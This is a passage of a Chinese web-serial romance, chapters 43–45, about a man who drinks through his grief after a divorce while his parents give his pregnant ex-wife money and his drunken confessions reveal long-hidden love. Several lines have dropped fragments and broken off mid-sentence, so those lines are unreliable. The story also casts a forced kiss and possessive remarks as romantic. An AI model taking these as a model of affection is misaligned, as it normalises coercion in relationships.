第43章【VIP】 傍晚,赵叙平醒来头痛欲裂。 他靠在床头缓了缓,想抽根烟,拿起烟盒又放下。最近抽得太多了,再这么抽下去,真怕自己完蛋。 缓够了,他走进浴室,冲一遍澡,又去浴缸里泡着。 热水包裹身体,身心都放松许多,赵叙平仰面躺着望向天花板,脑海中浮现周静烟那张脸。 昨晚喝得太多,浑身酒味儿,以往他要是喝多了,周静烟总嫌味儿大,逼着他去洗澡,还得洗好几遍。以往他觉着烦,离婚后,喝再多也没人嫌他,洗不洗澡也没人在耳旁絮叨,世界清净了,心却空落落。 赵叙平意识到自己又想起周静烟时,已经晚了,不知不觉,早已想了她许久。 满脑子都是从前朝夕相处的点点滴滴。她像个影子似的阴魂不散,无孔不入。 赵叙平将头沉入水中,直到憋不住气才伸出脑袋,甩甩头,水珠四处飞溅。他睁开眼,仰头看向天花板上的灯,心里想:这是重生,重生后,再不许想起那个人。 可天花板上的灯亮晶晶,好像那个人的眼睛。 他一拳砸进水里,恨自己不争气,起身擦干身子,穿上干净衣服走出房间,正准备下楼,迎面碰见母亲。 赵叙平看着母亲,淡淡打了声招呼,母亲冷着脸没应,走到他跟前停下,瞧他一会儿才开口:“发泄出来,心里好受些了?” 他不作声,低头扭脸望向楼下。 章芝纭仔细瞧着他,心说看样子还是不好受。 到底是自己儿子,嘴上再骂,见他这般难过,怎会不心疼?章芝纭既心疼儿子,也心疼周静烟,千言万语堵在喉咙,只能默默摇了摇头,转身走开。 今年除夕,章芝纭没请亲戚们来聚。准备年夜饭时,她打电话给儿子,催他快些回家,儿子说下班就来。前面那句催促只是铺垫,她酝酿片刻,问:“静烟在哪儿过年?” 那头冷淡回应:“不知道。” 她叹息一声,说:“要不你问问?” 赵叙平:“不问。” 章芝纭又叹了口气:“还是问问吧,她一个人——” 那头不耐烦打断:“她怎么着,跟我有关系吗?” 章芝纭呵斥:“你这人怎么一点儿都不念旧情!” 这话赵叙平不爱听,沉默片刻,冷哼:“我跟她有什么旧情?打从离婚那天起,我俩再没任何关系。” 章芝纭久久不做声,长叹一口气,问:“这么些年,你就没对她动过心?” 赵叙平:“没有。” 章芝纭:“七年啊,赵叙平,七年,不是七天!七年过下来,你压根就没爱过她?” 赵叙平:“没有。” 章芝纭:“那你在家把自己灌醉,杯子酒瓶摔一地是干嘛呢?” 赵叙平:“我乐意。” 章芝纭:“你放屁!” 赵叙平耐性耗尽:“您有事儿没事儿啊,没事儿我挂了。” 章芝纭见儿子嘴硬成这样,冷冷笑出声:“你就装吧,横竖都是自己难受,以后要喝上外边儿喝,别在家里撒酒疯!” 赵叙平说了句“行”,立马挂断电话。 章芝纭又气又无奈,握着手机,纠结要不要联系周静烟,请她过来吃顿年夜饭,左思右想,还是觉得这样不妥,叹着气放下手机。 说不定人家已经开始了新生活,作为前婆婆,发出这种邀请,很可能只会让人家为难,章芝纭心想。 下午六点,赵叙平下班就往家里赶。 其实他压根不想回去,可父母就剩自己一个儿子,平时不回去还好说,除夕夜绝不能缺席。 年夜饭很丰盛,然而一家三口,吃得很安静。 饭桌上没了周静烟,家里又自动遵守“食不言”这个规矩。 沉闷的一顿饭吃完,赵叙平被父亲叫去书房。 赵天成站在窗前,听见关门声,而后脚步声渐近,他才开口:“你给了静烟多少钱?” 赵叙平实话实说:“一分没给。” 赵天成转身看着儿子,怒道:“人家好歹跟你过了七年,受了你七年的气,怎么能——” 不等父亲说完,赵叙平冷笑着打断:“您怎么不说,她当了七年阔太太?” 赵天成:“你以为静烟稀罕这个阔太太?” 赵叙平轻哼,耸了耸肩:“稀不稀罕,都由不得她。” 赵天成接连叹气,强压着心中怒火,问:“我就纳闷儿了,当,这回怎么松了口?” 赵叙,语气玩世不恭:“玩儿腻了。” 赵天成气得一耳光抽过去:“混账东西,说的这叫什么话!” ,扬起一边唇角,哼笑:“离婚是她提的,我估摸着,她也玩儿腻了。” 赵天成吼道:“胡说!静烟哪能是这种人!” 赵叙平:跟我念叨她,我不乐意听。” 赵天成:“行,不过你得给人家一笔钱,就当补偿人家七年青春。” 赵叙平笑了,侧着头瞧父亲,伸出拇指冲向自己:“您要这么说,那我的七年谁补偿?” 赵天成没忍住,指着他骂一通。 他*一副混不吝的样儿,垮着肩,双手揣裤兜,面无表情,等父亲骂完,点点头:“您给她多少钱我管不着,反正我是一分不会给。” 说完,他转身头也不回大步往外走。 赵天成思忖一会儿,做出一个决定,回房告诉妻子,妻子立马同意。 除夕夜,周静烟独自待在沈琳租给她的小公寓里,为自己煮了一锅三鲜馅儿饺子。 空闲时间,她做了许多速食冻上,随吃随取,方便上班。 她吃着鲜美的水饺,掌心轻抚腹部,自言自语:“宝宝们真乖,知道心疼妈妈,没让妈妈受多大罪。” 除了酒和香油,没别的东西会让周静烟孕吐。 对于这两个未见面的孩子,起初周静烟更多感受到的是恐惧:害怕自己养不起,害怕自己养不好,害怕孩子不健康…… 然而,强烈的期待和幸福感,将恐惧稀释,她开始畅享未来自己单亲妈妈的生活——一种对于她而言,全新的,颠覆以往一切的生活。 这种生活未必美满,或许喜忧参半,或许处处麻烦,可却让她感觉自己成为了真正的大人。 她知道自己肩上的担子很重,不过,这种甜蜜的负担,重一点又如何? 吃完饺子,洗好碗,周静烟站在窗前,望着外面纷飞的大雪,忽然想起七年前,那张与赵叙平一家在雪中的合照。 照片洗出来两张,一张摆在赵叙平父母家,一张摆在她和赵叙平曾经的小家。 离开时,她没有带走那张照片。 那些值钱的贵重物品,她一样也不想带走,只有那张照片,想带,却不能带。 她知道,就算自己带走照片,赵叙平也不会阻止。可是她不敢。她怕自己生出许许多多的牵挂和不舍,怕自己永远与过去断不干净。 她摸着小腹,在心里告诉她的两个孩子:世界很美好,雪花很漂亮,妈妈很爱很爱你们,要和你们一起迎接新生活,全新的生活…… 沈琳与家人出国旅行,远隔重洋依然惦记着周静烟。 晚上九点,沈琳弹来视频邀请。 她在灿烂的阳光中笑着说,给烟烟宝宝带一点明媚过来。周静烟笑了笑,心里想,现在烟烟宝宝,有了自己的宝宝,只是琳琳还不知道。 大年初一,周静烟睡到八点自然醒。早餐是自己蒸的黑芝麻馒头,搭配水煮蛋和牛奶,外加几片蔬菜,营养又健康。 刚吃完,手机震了震,她拿起一看,竟收到了赵叙平秘书发来的消息。 【周小姐,赵总这边有意将两套房子和一台保时,外加一千万赠予您,请问您年后什么时间方便出面办理一下手续?】 周静烟盯着屏幕愣了片刻,回复:【麻烦替我谢谢他,并转告:我不需要。】 那头很快回:【赵总说也可以将房子和车总价折现赠予您。】 周静烟还是那句话:【替我谢谢他,我不需要。】 过了会儿那头才回:【好的,祝您新年快乐,生活愉快!】 周静烟:【新年快乐,你也是。】 那头回了个微笑颜符号,周静烟没再回复。 她记得这个秘书跟着赵叙平干了好些年,有时她陪赵叙平出差,秘书也跟去。秘书坐副驾,赵叙平在后座对她又亲又抱,手不老实,她无声抵抗,力气不敌他,就这么被他逼迫着,吻得昏天暗地。 私底下她骂过赵叙平不知多少次,说他不知羞,不避人,赵叙平笑着问,你看他俩敢转过头来看吗? 周静烟捶他,气呼呼说,人家哪敢看啊,就算不看,还不是知道后面在干嘛? 赵叙平乐得握住她的手,说亲一下而已,又没来真的。 周静烟心想:你这哪是亲一下,根本是亲了好久好久! 想起七年来这些事儿,哪怕过了这么久,周静烟依然红透了脸。 手机又震一下,她以为还是赵叙平秘书发来消息,没想到这回竟是赵叙平母亲。 周静烟看着这位对自己视如己出的长辈发来的祝福,瞬间落泪,红着眼给她回了条祝福短信,并解释之所以没有主动给两位长辈发消息,是怕打扰他们的生活。 没一会儿,周静烟接到章芝纭打来的电话。 章芝纭在那头故作生气数落她两句,转入正题:“我和你爸商量了一下,一致决定给你一套房子,一台车,外加两千万作为补偿。” 周静烟愣住,沉默片刻,小声问:“是叙平的意思吗?” 章芝纭:“不,是我和你爸的意思。叙平脾气又臭又硬,还记仇,你爸劝他给你些补偿,他跟个铁公鸡似的,一毛不拔!这事儿我本来不想告诉你,怕你伤心,不过又觉着说出来也好,你啊,千万别对他抱有任何期待,他这人没有心!” 听着章芝纭义愤填膺的语气,周静烟认为她并未骗自己,而是真不知道赵叙平改了主意。 周静烟没提赵叙平打算赠予财产这事,柔声拒绝道:“谢谢妈妈,也谢谢爸爸,感谢你们真心对我好,只是房子,车,还有钱,我不能要。” 章芝纭气得使出激将法:“怎么着,我们给你的还能是脏钱?怎么不能要?” 周静烟急忙解释:“妈妈,我不是这个意思,只是你们给的实在是太多了,我于情于理都不能要。” 章芝纭:“错了,你于情于理都该要!” 周静烟:“真不——” 章芝纭:“行了别磨叽了,房车办手续麻烦,直接给你三千万得了,明儿咱俩约个地方见面,挺久没见,妈心里头想得慌!” 不等周静烟回应,章芝纭说完便挂断。 很快,章芝纭又发来消息,定了个时间地点,约她明天面谈。 周静烟拒绝的话已经打完,忽地想起什么,沉思许久,又一句句删掉,最后打出五个字:【妈妈,明天见……】 第二天,周静烟准时出现在餐厅包间,见着章芝纭,眼眶就红了。 章芝纭也红着眼,起身过来抱她。 互相嘘寒问暖一阵,章芝纭从包里掏出一张卡和一张便签纸,往她手里塞。 “整整三千万,都在卡里,密码在纸上,你拿去用吧,以后用完了,再管爸妈要。爸妈只有你这个女儿了,你过得好,开开心心,爸妈也高兴。” 周静烟吓得手抖,想将卡塞回章芝纭包里,被她拦住。 章芝纭板起脸凶道:“听话!不是说拿我和老赵当亲生父母吗?亲爹亲妈心疼孩子,给孩子钱花,多正常的事儿呀!赶紧收着,不收我就天天缠着你,缠到你烦!反正我成天闲着没事儿干,有的是时间跟你耗!” 周静烟无奈笑起来,章芝纭也没绷住,笑出声,直接拿起她的包,拉开拉链,将卡和便签放进她包里,又将包放她怀里,还拍了拍这包。 “你大学刚毕业就嫁给叙平,这七年要是出去工作,怎么都有点儿资历了,薪水不会太低。叙平耽误你七年,他不肯补偿,我和你爸可干不出这事儿。” 周静烟沉默一会儿,说:“其实叙平——” 章芝纭挥手打断:“嗐,不提他!提他我就来气!总之,卡你收着,以后用钱的地方多着呢。” 周静烟低头看着怀里的包,暗自想:为了两个宝宝,就做一回贪财的人吧。 她抬眸,泪眼朦胧,哽咽着对章芝纭道谢。 第44章 第44章【VIP】 除夕夜,赵叙平整宿没睡。疲惫至极,却又毫无困意。 天光破晓之际,赵叙平摁灭烟头,打电话给秘书,让他联系周静烟谈补偿。秘书问什么时候找周小姐谈,赵叙平看看表,说至少等到八点半以后。 她爱睡懒觉,赵叙平是知道的。 九点,秘书打来电话,转达周静烟的意思,赵叙平听完沉默片刻,沉声说了句“行”。 他架着腿靠在沙发上,侧头点了根烟,仰脸吐出烟圈,扬唇冷笑,心里想:还玩儿起清高了,不要拉倒。 抽完这根烟,赵叙平总算来了困意,回床上倒头就睡。 年初二,朋友约着出去玩儿,赵叙平没兴趣,整个白天都在家待着。晚上梁卓打电话,说组了个局喝酒打牌,他不去。 梁卓不知道他已经离婚,笑着问:“嫂子不让?” 赵叙平听到这话就来气,没解释什么,问:“在哪儿喝?” 梁卓报出会所名。 赵叙平拿起外套往外走,在楼下碰到母亲,母亲问他大晚上干嘛去,他说喝酒,母亲拦住去路不让走。 赵叙平手揣进裤兜,扭头看着别处,满脸不耐烦:“干嘛呀您,不让在家喝,出去喝也不行?” 章芝纭抬手直戳他太阳穴:“成天这么喝喝喝,还要不要命了!” 赵叙平移开脑袋,垂眸:“喝死拉倒。” 章芝纭一巴掌扇去:“大过年的,胡说八道什么!” 这一巴掌力道不大,赵叙平没感觉多疼,转脸看着母亲,笑了笑:“您放心,我肯定长命百岁,行了吧?现在能借过,让我走了么?” 章芝纭默默看他一会儿,心想:三十好几的人了,管是管不住的,且由他去吧。 她低头,抬手一挥:“滚滚滚,喝醉了在外边儿睡,省得回来撒酒疯。” 章芝纭让出路来,目光盯着儿子背影,等他走到门口,又将他叫住。 “叙平。”她语气变得平静。 赵叙平回头:“嗯?” 章芝纭:“我去见静烟了。” 赵叙平面无表情,沉默片刻,淡淡应一声:“嗯。” 他转过脸低头换鞋。 章芝纭轻叹,看着他又说:“妈给了静烟三千万。” “嗯。”赵叙平换好鞋,手放在门把上,心想:看来也不是个清高的人,只不过在跟他装呢。 章芝纭:“静烟气色瞧着不错,好像还稍微胖了些,看样子离婚后过得挺好。” 赵叙平:“嗯。” 章芝纭:“我见她离开你后越过越好,就死心了,再不盼着你俩复合了,从长远看,你俩分开对彼此来说是好事儿。” 赵叙平:“嗯。” 章芝纭:“你没别的想说的?” 赵叙平:“没有。” 章芝纭又是一声叹息,点点头:“去吧,喝完别在外边儿睡,还是得回家。你在家,妈心里能踏实些。” 赵叙平应道:“行。” 到了会所,赵叙平喝了几杯酒,玩了一会儿牌,觉着没劲,默默坐在沙发上,盯着屏幕上的MV,听别人唱歌。 唱来唱去都是些苦情歌,他听得烦,冷着脸抽烟。 后来不知道谁带来一个姑娘,那姑娘点了首《下雨天》。 听她唱完一整首,赵叙平心烦到了极点,猛地灌自己一杯酒,起身又去打牌。 梁卓他们换了个玩法,不赌钱了,玩起真心话大冒险。 头两把赵叙平相安无事,第三把,那姑娘又开始唱《下雨天》,赵叙平不知不觉走神,听见梁卓问他真心话还是大冒险,才发现自己这把输了。 他选真心话。 梁卓跟旁边哥们儿相视一笑,赵叙平知道他俩没憋好屁,默默等着,过了会儿听旁边哥们儿问:“平哥,在家挨没挨过嫂子揍啊?” 赵叙平离婚这事儿没外传,江东铭一家也没多嘴,外人自然不知他跟周静烟早已分开。 大家哄笑一声,目光齐刷刷看向赵叙平。 赵叙平嘴里叼着烟,点头。 梁卓忍不住问:“嫂子是扇你还是挠你啊?” 赵叙平夹走嘴里的烟,缓缓吐出白雾,淡声开口:“都有。” 旁人小声议论起来—— “平哥真宠嫂子!” “嗐,你是没见过嫂子发飙那样!” “我倒是见过嫂子,瞧着挺文静的。” “漂亮么?” “平哥媳妇儿,能不漂亮?” “也就还行。” 听他这么说,梁卓亮的,而且特有气质,瞧着特纯,温柔,又很坚强。” 梁卓对周静烟全是好印象,库库一顿夸,夸完才发现赵叙平脸色不对,心知他这是吃醋了,赶忙又说:“所以嫂子跟平哥最般配,你俩天生一对。” 赵叙平垮着脸,忽然反应过来,扭多问了一句。” 旁人一想,还真是,便让赵叙平问回去。 梁卓笑笑:“行,平哥您问。” 赵叙平微微侧头,掀起眼皮瞧他,面含淡笑,眼里没有一丝温度” 谁都看出他眉眼间戾气横生,气氛骤冷,旁人目光紧盯着他俩。 梁卓紧张得冒汗,咧嘴笑了笑:“平哥,瞧您这话说得。我觉着嫂子好,一方面,是因为她本来就好,另一方面,还不是因为她是我嫂子?哥哥的媳妇儿,我当然得往好了夸,您说是吧?” 赵叙平云淡风轻扬扬眉,点头:“那是。” 见他眉眼间戾气散去,梁卓暗自松了口气,心里想:这夫妻俩,占有欲一个比一个强。 赵叙平起身:“你们玩儿,我去喝酒。” 这种游戏,以前玩儿着还挺有意思,现在他只觉得无聊透顶。 赵叙平独自喝闷酒,一杯接一杯灌自己,没多久就开始犯晕,躺沙发上望着旋转的天花板,脑子里全是周静烟。 周静烟在他怀里哭;周静烟在他怀里笑;周静烟撒娇要抱抱;周静烟柔软的唇印在他脑门儿上…… “周静烟。”他轻声唤,尾音拖得老长。 音乐声充斥整个包厢,赵叙平捂着耳朵晃晃脑袋,皱眉:“媳妇儿,把音响关了。” 见没人搭理自己,他气得想站起来,身体不听使唤,别说站了,坐都坐不起,躺着抬手瞎比划,嘴里嚷嚷:“唉不是,周静烟,我说话是不是不好使?是不是不好使!” 还是没人搭理。 他再气也没招,捂着额头又喊:“烟烟?烟烟!烟儿?烟儿!” 总算有人听见了。那人赶紧往他手里塞根烟。 他抬手往外一扔:“不抽,媳妇儿不让抽。” 那人噗嗤笑出声:“平哥这么怕嫂子啊。” 赵叙平双手搓了搓脸,语气特无奈:“嗐,母老虎一个。” 那人乐得止不住笑:“以前可不知道平哥是个妻管严!” 赵叙平一只手抬到半空,伸出食指,在空中点了点:“老子那是让着她。” “是,咱大老爷们儿,不跟小娘们儿计较。”那人又给他递杯酒。 他把酒往外推,摆摆手:“不喝,喝多了她嫌熏得慌。” 那人看了他一会儿,感慨:“还得是咱平哥,这么疼媳妇儿!” 赵叙平长长叹了口气,不作声,心里想:再疼媳妇儿,媳妇儿也不领情,这上哪说理去?真几把艹蛋。 过了会儿赵叙平嚷嚷着要回家,那人去牌桌上找梁卓,拍拍梁卓肩膀:“平哥断片儿了,咱是让司机送回去,还是在这儿给开间房?” 梁卓过去看,俯身推了推赵叙平,问:“哥,要给嫂子打电话不?” 赵叙平闭着眼掏出手机递过去:“打,让她赶紧来。” 梁卓接过手机,握着他一只手,用他指纹解锁,点开通讯录,找到那个备注——“媳妇儿”。 打了两个,那边都没接,第三个,那边直接挂断,再打过去,又给挂了,接着打就打不通了。 梁卓知道,嫂子这是给平哥拉黑了。 这两口子八成在闹别扭,梁卓想了想,找哥们儿一起将赵叙平扶进车里,让司机送他回父母那去。 凌晨一点半,赵叙平被送回父母家。 他不回来,章芝纭就不睡,坐在客厅等着,见他回来了,心里总算踏实下来。 管家和司机想将赵叙平扶上楼,他不肯,东倒西歪走到沙发边,刚坐下就开始嚷:“周静烟,煮醒酒汤!” 章芝纭轻轻拍了下他脸颊:“就知道欺负静烟!离都离了,还想折腾人家!” 赵叙平闭着眼笑:“妈,您真是不懂情趣,我这跟她撒娇呢。” 章芝纭瞧他醉懵了,不知道何年何月,当周静烟还在家呢。她摇摇头,叹气,推了推儿子:“多大个人了,还跟媳妇儿撒娇,羞不羞!” 赵叙平仍是笑:“羞什么?我乐意,她也乐意。” 章芝纭心想:人家可未必乐意。 沉默一会儿,章芝纭劝道:“不早了,上去睡觉吧。” 赵叙平摇头:“不睡,周静烟还在煮醒酒汤呢。” 章芝纭红了眼眶:“儿子,听话,赶紧睡觉去。” 赵叙平:“要睡您自个儿睡去,我得等周静烟,煮完汤我要是不喝,她又该生气了。” 章芝纭深吸一口气,别过脸,片刻后哽咽着说:“叙平,你俩离了,静烟走了,你也别再折磨自己了。” 赵叙平醉得厉害,没听进去这话,思绪跳到多年以前,以为自己今年二十三。 他身子一歪,栽进母亲怀里,拖着声儿开口:“妈,我想求您个事儿。” 章芝纭愣愣瞧他:“什么事儿?” 他仰起脸来,嘴闭着,唇角却扬得老高,平时不太明显的俩酒窝都挤出来了。 章芝纭仿佛看到了许多年前的儿子,心里感慨万千,眼眶湿润,也跟着笑起来,又爱又恨轻轻往他脸上扇一下:“快说!什么事儿?” 赵叙平歪起脑袋:“您看啊,我都二十三了,周家妹妹也十八了,我俩都成年了。” 章芝纭愣了愣,试探着问:“哪个周家妹妹,周静烟么?” 他点点头。 章芝纭好奇:“你俩都成年了,然后呢?” 赵叙平看着母亲,神情变得严肃:“我俩都成年了,就可以处对象了。” 章芝纭沉默片刻,颤着声问:“你愿意处就处呗,跟我说这个干嘛?” 赵叙平:“就想告诉您一声,我是真喜欢她,而且只喜欢她,我是奔着结婚去的。过两年她二十了,我俩就去领证。” 章芝纭笑道:“说得好像人家愿意跟你领证似的!” 赵叙平梗着脖子:“不愿意也得愿意!她这辈子只能嫁我。” 章芝纭百感交集,忽然明白了许多事,叹气,顺着他往下说:“人家要是嫁了你,你可得对人家好啊。” 赵叙平点了点头,认真答应:“那肯定。” 章芝纭轻抚着儿子的头,笑容慈祥,问:“叙平,你喜欢周家妹妹什么?” 赵叙平:“周家妹妹好看。” 章芝纭故意逗他:“那么瘦,还矮,有什么好看的!” 赵叙平脸一沉,不高兴了:“她那是没吃饱!吃饱了就能长高长胖!” 章芝纭笑出声:“都成年了,怎么长高?” 赵叙平:“长不高就长不高,小矮个儿我也喜欢。” 章芝纭挑着眉问:“反正你是铁了心要娶她?” 赵叙平重重点一下头。 章芝纭又问:“我要是不同意呢?” 赵叙平:“那我就偷户口本儿。” 章芝纭乐了:“那你可偷不着。” 赵叙平叹气,孩子似的跟母亲撒娇:“妈,求您了,您就让我俩结婚吧,我俩一起好好孝敬您。” 章芝纭瞧着他哼笑:“你不气我都算不错了!” 赵叙平脑子宕机片刻,思维跳跃到另一条线,半阖着眼沉默好一会儿,冷不丁问:“妈,您上次带回来的比利时巧克力还有么?” 章芝纭认真想了想,去比利时那次,是好些年前了。 “那个啊,你不是都拿走了吗?”她记得买了好些带回国,全被儿子拿了。 赵叙平:“家里还有进口巧克力么?” 章芝纭随口一编:“你爸去欧洲出差,又带了些回来。” 赵叙平:“在哪儿呢?都给我,我要。” 章芝纭:“这么多你吃得完么?” 赵叙平不作声了,摇摇头,叹气,片刻后轻声开口:“我不吃,都给周家妹妹吃。周家妹妹总哭,她一哭,我就心疼,一心疼,就想对她好。” 章芝纭再忍不住,泪水夺眶而出,抬手抹抹泪,看着儿子,哽咽着问:“这么喜欢周家妹妹啊?” 儿子也看着她,红了眼眶:“妈,我喜欢周静烟,特喜欢。您就成全我俩吧。” 第45章 第45章【VIP】 章芝纭终于彻底明白,为什么七年前,儿子娶谁不好,偏偏要娶周静烟。 原来,恨只是虚缈的幌子,幌子之下,是藏了很久很久的爱与眷恋。 章芝纭深深吸气,含着泪冲儿子笑,点头:“行,妈同意你俩在一块儿。” 赵叙平咧嘴,笑得开心:“谢谢妈。我跟您保证,你俩婆媳关系肯定好。” 章芝纭不禁抹泪:“这么肯定?” 赵叙平:“知道为什么吗?” 她摇摇头。 赵叙平乐呵呵:“其实我也说不清为什么,就是觉着不是一家人不进一家门,周静烟跟周家人不一样,倒像是咱家的。” 章芝纭憋着笑调侃道:“哟,还没娶回家呢,嘴上就开始占人便宜。” 赵叙平歪起脑袋,冲母亲一个劲傻乐:“早晚是咱家的。” 章芝纭戳戳他脑门儿:“你呀,赶紧睡去吧!” 这次赵叙平倒是听话,起身被人搀回卧室。 一觉到天亮,他再下来时,碰见母亲,又是平时那副平静模样,淡淡打了声招呼。 章芝纭瞧着他,心想:怎么就不能一直像昨晚那样呢?现在可真欠揍! 赵叙平全然不记得昨晚回来自己说过什么,摸摸脸,问:“您老看我干嘛?” 章芝纭思忖片刻,清了清嗓子:“有句话妈不知道该不该说。” 赵叙平毫不犹豫:“那就甭说。” 章芝纭脸一沉:“就说!” 越不让她说,她越要说。 赵叙平乐了,点点头:“说呗。” 章芝纭:“你要这么放不下周静烟,还是联系联系吧。” 赵叙平笑着冷哼:“我放不下她?您开什么玩笑!” 章芝纭恨不得调出昨晚客厅监控放给他看,又觉着这样简直是在戳人伤疤,于心不忍,便没戳破,只是问:“真放下啦?” 赵叙平扭头看窗外:“早忘干净了。” 章芝纭:“一点儿不记得?” 赵叙平皱眉:“她叫什么了来着?” 死鸭子嘴硬,章芝纭心想,摇着头默默走开。 三月,赵叙平频繁出差,天南海北到处飞。 有次去广城,见了多年的合作伙伴,那位老板姓张,年长他一些,他俩关系挺好,赵叙平管人叫张哥。 张哥最近喜得三胎,是个千金,赵叙平买了些礼物给仨孩子,之前听张哥说老大老二喜欢吃京州点心,也给带了几盒京州特色茶点过来。 张哥嘴上怪他太客气,面上高兴极了,问:“弟妹怎么没来?” 赵叙平低头敷衍:“她忙。” 张哥:“还在忙着学英语、做针织啊?” 赵叙平:“嗐,瞎忙。” 张哥笑眯眯:“你嫂子昨天还跟我夸她呢,说她心灵手巧,还上进,为人低调,做事踏实,难怪你这么喜欢。” 赵叙平扬唇浅笑,眼里藏着不能明言的情绪。 张哥又说:“上次她送你嫂子的披肩,你嫂子说又漂亮又实用,春秋能穿,夏天空调房也能穿,你嫂子每次穿出去,都有人夸好看,还问她是哪里买的,找她要链接!” 赵叙平淡淡开口:“嫂子喜欢就好。” 张哥拍一下他肩膀,笑道:“喜欢得不得了!这次弟妹没来,你嫂子要失望了,下次来可得带上她啊。” 赵叙平客气应付:“张哥以后多带嫂子孩子来京州玩儿。” 临走那天上午,张哥一家请赵叙平吃早茶,嫂子提到周静烟喜欢广式茶点,再三嘱咐赵叙平,以后来一定要带周静烟,赵叙平默默淡笑,没做出什么承诺。 六月,京州热起来,气温最高达到三十四度。章芝纭怕热,早早开了空调,如无必要,午后绝不出门。 一个周日,章芝纭刚吃完午饭,赵叙平喝得醉醺醺被朋友送回来,瘫坐在客厅沙发上,她看着直摇头。 “大白天的,怎么喝成这样!”章芝纭想骂几句,又想着这会儿骂他他也听不进,纯属白费口舌,便只是数落一下,连声叹气。 断了片的赵叙平还是那套流程——先喊周静烟煮醒酒汤,喝了保姆送来的醒酒汤,又问周静烟在哪儿,然后扯着嗓子唤她。 章芝纭原本心情好好的,被他这么一闹,情绪低落下来,忍不住骂道:“别嚷了,你跟静烟离了,人被你气走了!” 赵叙平靠在沙发上,直愣愣盯着她,过一会儿垂下眼眸,淡声开口:“哦,离了,走了。” 章芝纭双手叉腰撵人:“赶紧滚上去睡觉!下回不许白天喝酒,喝了别上我这儿来!” 赵叙平跟听不见似的,抬头望向母亲:“妈,我毛衣呢?” 章芝纭被他问愣了:“毛衣?什么毛衣?” 赵叙平:“好几件呢,白的,灰的,黑的,还有藏——藏什么来着?藏蓝色。” 章芝纭总吧?” ,还有件灰白格子的。” 章,怎么了?” 赵叙平起身要走,管家赶忙搀他,章去?” 赵叙平:“穿毛衣。” 章芝纭愣住:“大热天的,现在外边儿三十来度,你有病啊?” 赵叙平:“家里凉快。” 章芝纭看他跟看个神经病似的,抱着胳膊笑了:“我看你是真有病,吹着空调穿毛衣!” 赵叙平走进电梯:“多热我都得穿,您是不知道周静烟心眼儿有多小,不穿她要生气。” 章芝纭上下打量他一眼,叹气:“仗打完了,你来兵了;孩子死了,你来奶了;媳妇走儿走了,你知道错了。” 赵叙平压根没听进去,靠着电梯墙自言自语:“我天天穿她织的毛衣,挨个儿穿,三十度也穿,四十度也穿,五十度也穿——” 他忽地抬头,看向母亲:“够意思了吧?” 章芝纭冷笑:“够,太够了,你最好说到做到。” 半夜,赵叙平被热醒。 起身开灯,他低头看着自己身上的灰色毛衣,一肚子困惑。 这玩意儿怎么到他身上了?谁给穿的? 他气冲冲下床,出门前扭头看一眼墙上的钟,时针走到三点整。 赵叙平松开门把,脱掉毛衣,换上真丝居家服,去露台吹风。 凉爽夜风扑面而来,吹干皮肤上的细汗,比在空调房舒服许多,赵叙平站在栏杆前默默抽烟。 在外面待了一个小时,他回去洗澡,洗完时间还很早,随手拿起一本书,翻开想起以前自己看这书时,周静烟在旁边满脸崇拜夸他厉害,他问怎么就厉害了,周静烟说会看英语书当然厉害。 这事儿现在想想还是好笑。 这么多年,他就没见过比周静烟更单纯的人。 天亮赵叙平待不住了,下楼准备走,在客厅看见母亲,想问问毛衣那事儿,没好意思开口,打了声招呼就去玄关换鞋。 倒是章芝纭先提起那事儿:“怎么把毛衣脱了,不冷啊?” 见她笑眯眯的,赵叙平无奈,扯一扯唇:“妈,您就别挤兑我了。” 章芝纭伸长脖子抱起胳膊,双眉挑得老高:“哟,我怎么挤兑你了,不是你自个儿非要穿么?外头三十来度呢!” 赵叙平弄懂了,八成是昨天喝完酒回来,自己撒酒疯嚷着要穿周静烟织的毛衣,母亲拿他没招,只能找出来给他穿上。 章芝纭瞧着他,又笑道:“那毛衣穿着多合身,多好看呐!” 赵叙平没作声,迅速换鞋离开。 头两天酒喝太多,今早实在没胃口,赵叙平坐在办公室,吃了半个饺子就放下筷子,呆坐好一会儿,给秘书打了个电话,让他联系周静烟,问问她最近住哪。 中午秘书来到办公室,当面告诉他,自己给周小姐发过消息,也打过电话,但周小姐一直没回应。 午饭依然吃不下,赵叙平又呆坐许久,内心纠结一番,拨下江东铭号码。 “东子,帮个忙吧。”他开门见山说道。 “什么事儿?”江东铭问。 “帮我问问你媳妇儿,周静烟现在住哪。” “不用问,我知道。” “你怎么知道?” “你俩离婚后,她一直租着沈琳的公寓。” “也就是说,她跟你们一直有联系?” “准确来说是跟我媳妇儿有联系,跟我没有。” “你把公寓地址发我。” 江东铭笑道:“怎么着,后悔了?” 赵叙平:“后悔什么?” 江东铭笑得更欢:“甭跟我装糊涂,你丫是不是后悔跟周静烟离了?” 赵叙平:“我赵叙平从不会后悔,也从不干让自己后悔的事儿。” 江东铭:“那你颠颠儿找人家干嘛?” 赵叙平:“我俩离婚,她什么也没捞着,这么些年没工作,文凭又不高,我想了想,还是给她套房子吧,不然心里过意不去。” 江东铭:“善呐,大善人,以前还真不知道咱平哥这么善。” 赵叙平颇有些恼羞成怒:“滚蛋,地址发过来,赶紧的。” 江东铭善意提醒:“要不你还是提前打个电话沟通一下,省得跑空。” 赵叙平:“行。” 他可不会告诉江东铭,自己手机号早被周静烟拉黑。 之前某个深夜,他心如乱麻,实在难以入眠,脑子一热,没忍住,给周静烟打电话,才发现再也打不通了。 那晚过后,赵叙平喝酒喝得更凶。 只有醉的时候,他才分不清现实与幻象,才能安然待在回忆里,待在身边还有她的回忆里。 江东铭发来一个定位,又发了条语音嘱咐他去了那儿千万假装是偶遇,死也别把他供出来,否则死的人就是他——毕竟沈琳折磨人的功夫堪比古代酷刑。 心不在焉熬到下班,赵叙平到点就走,将车停在周静烟住处外,发消息问江东铭:【她平时走哪个门?】 江东铭:【我哪知道,你问问她】 赵叙平心想:要能联系上,还用得着问你? 赵叙平:【问问你媳妇儿】 过了会儿,江东铭回复:【沈琳说那房子离南门进,一般她们都走南门】 赵叙平立马调头,从北门开到南门。 江东铭又发来消息:【哥们儿可是冒着生命危险在帮你,刚才沈琳问我是不是对周静烟有什么想法,打算跟踪尾随,老子真服了……】 赵叙平:【谢了啊】 江东铭:【我估计周静烟不会要你房子】 赵叙平:【不要拉倒】 江东铭:【你心里到底怎么想的?多少有些后悔吧?】 赵叙平:【没有】 江东铭显然不信:【真没有?】 赵叙平:【真没有】 江东铭调侃:【那你还挺念旧情的,巴巴给人送房子*】 赵叙平:【怎么着,送的是你家房子?老子房子多,老子乐意送】 